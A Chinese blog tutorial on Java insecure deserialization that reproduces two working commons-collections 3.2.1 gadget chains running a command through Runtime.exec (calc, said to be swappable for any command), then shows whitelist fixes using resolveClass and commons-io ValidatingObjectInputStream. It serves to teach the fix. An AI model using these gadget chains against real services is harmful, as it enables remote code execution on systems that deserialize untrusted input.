【代码扫描修复】不安全的反序列化攻击(高危)_java反序列化漏洞修复

  • 从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞。据全网分析以及 shodan 扫描显示,时至今日,在全球范围内的公网上大约有 136,818 台服务器依然存在反序列化漏洞。

为什么这个漏洞影响如此之大,却依然让人防不胜防?

2.2 什么是序列化、反序列化?

序列化: 将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml 等格式。

反序列化: 将虚化列存储的二进制字节、xml、json、yaml 等格式的信息重新还原转化为对象实例。

数据格式序列化后的信息样例
二进制在这里插入图片描述

|
| xml | 在这里插入图片描述
|
| json | {“name”:“ACGkaka”,“age”:20} |
| yaml | !!com.demo.user.Person {age: 20, name: ACGkaka}\n |

补充:Java 对象序列化为二进制
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

/\*\*
 \* Java 对象序列化为二进制
 \*/
public class Test {
    public static void main1(String[] args) {
        Person obj = new Person("ACGkaka", 20);
        try {
            FileOutputStream fileOut = new FileOutputStream("D:\\object.bin");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(obj);
            out.close();
            fileOut.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

2.3 序列化/反序列化库

如果想将对象序列化为二进制格式(或者反序列化为对象),直接使用 JDK 自带的 ObjectOutputStreamreadObjectwriteObject 方法即可。如果想与其他格式(xml、json、yaml)相互转换,一般需要引入 jacksonsnakeyaml 等其他开源组件,使用开源组件中提供的库方法。

库名称序列化支持的格式
jdk二进制、xml
xstreamxml、json
jacksonxml、json
fastjsonjson
gsonjson
json-iojson
flexsonjson
snakeyamlyaml
2.4 反序列化漏洞

我们需要明确的一点是:Java 的序列化和反序列化本身并不存在问题,但如果 Java 应用对用户的输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。

所以,这个问题的根源在于类 ObjectInputStream 反序列化时,没有对生成的对象类型做限制。正因如此,Java 提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。


三、漏洞复现:攻击链1

3.1 依赖版本

JDK版本: 1.8.0_60

commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)

在这里插入图片描述

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.2.1</version>
</dependency>

3.2 代码复现
import com.alibaba.fastjson2.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.\*;
import java.lang.reflect.Field;
import java.util.HashMap;

/\*\*
 \* 复现反序列化漏洞(攻击链一)
 \*/
public class Test {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        // 构造利用链相关环的对象,最终目的达到命令行执行的效果(弹出计算器应用)
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        Transformer chain4Obj = new ChainedTransformer(transformers);
        LazyMap chain3Obj = (LazyMap) LazyMap.decorate(new HashMap<>(), chain4Obj);
        TiedMapEntry chain2Obj = new TiedMapEntry(chain3Obj, "anyKey");

        // 构造利用链的第一环 BadAttributeValueExpException 对象,因相关方法非public,使用反射强行设置val值
        BadAttributeValueExpException chain10Obj = new BadAttributeValueExpException(null);
        Field valField = chain10Obj.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(chain10Obj, chain2Obj);

        // 使用jdk库函数将chain10Obj序列化到文件D:\hacker中
        ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker"));
        objOut.writeObject(chain10Obj);

        // 使用jdk库函数将文件D:\hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker"));
        Object object = objIn.readObject();
    }
}

3.3 执行结果

复现成功,打开了本地计算器。

在这里插入图片描述

3.4 漏洞利用原理分析

首先,反序列化漏洞利用最终目标是要能进行任意命令或者远程代码的执行。本例中,是达成了任意命令行命令的执行,即:本例中的 calc 命令。在 Java 中相当于要执行代码:

Runtime.getRuntime().exec("calc");

其中 calc 知识示例,可以换成任意其它命令。

如果作为攻击方,需要执行这条命令的话,那是不是直接把这一行代码写到 demo 程序里就行了?答案是不行的!直接写这一行代码你只能在 demo 程序中运行的时候有效果,没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在 jdk 的 ObjectInputStream.readObject() 的反序列过程会调用目标反序列化对象的 readObject() 方法。攻击方需要利用该入口调用我们注入的命令。

那么作为攻击方,是不是直接定义一个对象X,在 readObject 方法里面写这一行代码(Runtime.getRuntime().exec("calc");)就行了,为什么样例代码整的那么复杂?答案依然是不行的。这样仅能在攻击者本地执行,业务执行环境中没有X这个类的定义,会报错 ClassNotFoundException

在这里插入图片描述

所以攻击方只能利用业务本身已经加载的 jdk 以及常用开源组件中的类来构造序列化攻击连,本例中选用的攻击连的第一环为 BadAttributeValueExpException 对象。当执行反序列化时,首先会触发调用 BadAttributeValueExpException 的 readObject() 方法。

在这里插入图片描述


四、漏洞复现:攻击链2

假如业务上通过黑名单的方法禁止了 BadAttributeValueExpException 类的反序列化,能防止反序列化攻击吗?答案依然是否定的。这条链禁止的,我们换一条就是了。本小节介绍另外一条 commons-collections 的经典攻击链。

4.1 依赖版本

JDK版本: 1.8.0_60

commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)

在这里插入图片描述

<dependency>
	<groupId>commons-collections</groupId>
	<artifactId>commons-collections</artifactId>
	<version>3.2.1</version>
</dependency>

4.2 代码复现
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

/\*\*
 \* 复现反序列化漏洞(攻击链二)
 \*/
public class Test {

    public static void main(String[] args) throws Exception{
        // 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})};
        Transformer chanin5Obj = new ChainedTransformer(transformers);
        LazyMap chain4Obj = (LazyMap)LazyMap.decorate(new HashMap(), chanin5Obj);

        Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.class, chain4Obj);
        Map chain2Obj = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), chain3Obj);
        InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.class, chain2Obj);

        // 使用jdk库函数将chain1Obj序列化到文件D:\hacker2中
        ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream("D:\\hacker2"));
        objOut.writeObject(chain1Obj);

        // 使用jdk库函数将文件D:\hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行
        ObjectInputStream objIn = new ObjectInputStream(new FileInputStream("D:\\hacker2"));
        Object object = objIn.readObject();
    }
}

4.3 执行结果

我们可以看到,虽然报错了,但还是复现成功,打开了本地计算器。

在这里插入图片描述

事实上,除了 commons-collections 工具包中存在反序列化漏洞外,jackson-databindSnakeYaml 都存在经典的攻击链,可参考这位大佬的文章:https://zhuanlan.zhihu.com/p/654430511


五、漏洞修复

上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。

控制反序列化源: 反序列化的数据源如果是可以轻易地被外部用户控制,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。

白名单校验: 涉及到使用 ObjectInputStream 进行反序列化时,重写 resolveClass 方法增加白名单校验。业务代码使用重写 SecureObjectInpuStream 类进行反序列化。

注意: 自定义白名单校验的时候,需要考虑到对象中还包含哪些类型的属性,包装类也要考虑在内,否则就会被校验卡住,导致反序列化失败。

5.1 反序列化校验-二进制
方式一:自定义白名单校验

SecureObjectInputStream.java

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

/\*\*
 \* 白名单校验
 \*/
public class SecureObjectInputStream extends ObjectInputStream {

    public SecureObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        // 白名单校验
        if (!desc.getName().equals("com.demo.user.Person") && !desc.getName().startsWith("java.lang")) {
            throw new ClassNotFoundException(desc.getName() + " not found.");
        }
        return super.resolveClass(desc);
    }
}

使用示例:

Test.java

import com.alibaba.fastjson.JSON;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class Test {
    /\*\*
 \* 序列化
 \*/
    public static void main1(String[] args) {
        Person obj = new Person("ACGkaka", 20);
        try {
            FileOutputStream fileOut = new FileOutputStream("D:\\object.bin");
            ObjectOutputStream out = new ObjectOutputStream(fileOut);
            out.writeObject(obj);
            out.close();
            fileOut.close();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    /\*\*
 \* 反序列化
 \*/
    public static void main(String[] args) throws Exception {
        ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new FileInputStream("D:\\object.bin"));
        vois.accept(Person.class);
        vois.accept("java.lang.\*");
        Object object = vois.readObject();
        System.out.printf(JSON.toJSONString(object));
    }
}


Person.java

package com.demo.user;

import lombok.AllArgsConstructor;
import lombok.Data;

import java.io.Serializable;

@Data
@AllArgsConstructor
public class Person implements Serializable {
    /\*\*
 \* 姓名
 \*/
    private String name;
    /\*\*
 \* 年龄
 \*/
    private Integer age;
}

正常反序列化,执行结果:

在这里插入图片描述

利用攻击链1,执行结果:

在这里插入图片描述

利用攻击链2,执行结果:

在这里插入图片描述

方式二:使用工具包中的校验【推荐】

commons-io 中有带有 ValidatingObjectInputStream 工具类,专门用于过滤反序列化校验。

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.14.0</version>
</dependency>

使用示例:

import com.alibaba.fastjson.JSON;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
import java.io.FileInputStream;

public static void main(String[] args) throws Exception {
    ValidatingObjectInputStream vois = new ValidatingObjectInputStream(new FileInputStream("D:\\object.bin"));
    // 可以多次添加校验内容,只要满足其中一个就会正常反序列化。
    vois.accept(Person.class);
    vois.accept("java.lang.\*");
    Object object = vois.readObject();
    System.out.printf(JSON.toJSONString(object));
}

正常反序列化,执行结果:

在这里插入图片描述

利用攻击链1,执行结果:

在这里插入图片描述

利用攻击链2,执行结果:

在这里插入图片描述

学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
在这里插入图片描述

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值